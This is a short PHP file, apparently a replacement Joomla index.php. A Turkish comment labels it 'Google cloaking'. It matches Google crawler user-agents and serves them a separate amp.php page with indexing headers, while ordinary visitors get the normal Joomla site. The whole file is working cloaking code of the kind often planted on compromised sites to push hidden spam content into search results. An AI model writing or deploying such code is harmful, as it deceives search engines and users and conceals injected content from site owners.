<?php
/**
 * GOOGLE CLOAKING - Google bot'a amp.php, normal ziyaretçiye Joomla
 */

// ============================================
// GOOGLE BOT TESPİTİ
// ============================================
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$isGoogleBot = false;

// Google bot mu?
if (preg_match('/Googlebot|AdsBot|Mediapartners-Google|APIs-Google|Googlebot-Image|Googlebot-Video|Googlebot-News|Googlebot-Search|Googlebot-Inspect|Googlebot-Android|Googlebot-Mobile|Googlebot-Ads|Googlebot-Discovery|Google-|GoogleOther|google|Google-Site-Verification|Google-InspectionTool/i', $userAgent)) {
    $isGoogleBot = true;
}

// ============================================
// GOOGLE BOT İSE amp.php GÖSTER
// ============================================
if ($isGoogleBot) {
    $file = __DIR__ . '/amp.php';
    if (file_exists($file)) {
        while (ob_get_level() > 0) @ob_end_clean();
        header('Content-Type: text/html; charset=UTF-8');
        header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private');
        header('Pragma: no-cache');
        header('Vary: User-Agent');
        header('X-Robots-Tag: index, follow');
        readfile($file);
        exit;
    } else {
        die('amp.php not found in: ' . __DIR__);
    }
}

// ============================================
// NORMAL ZİYARETÇİ İSE JOOMLA'YI ÇALIŞTIR
// ============================================
define('_JEXEC', 1);
require_once dirname(__FILE__) . '/includes/app.php';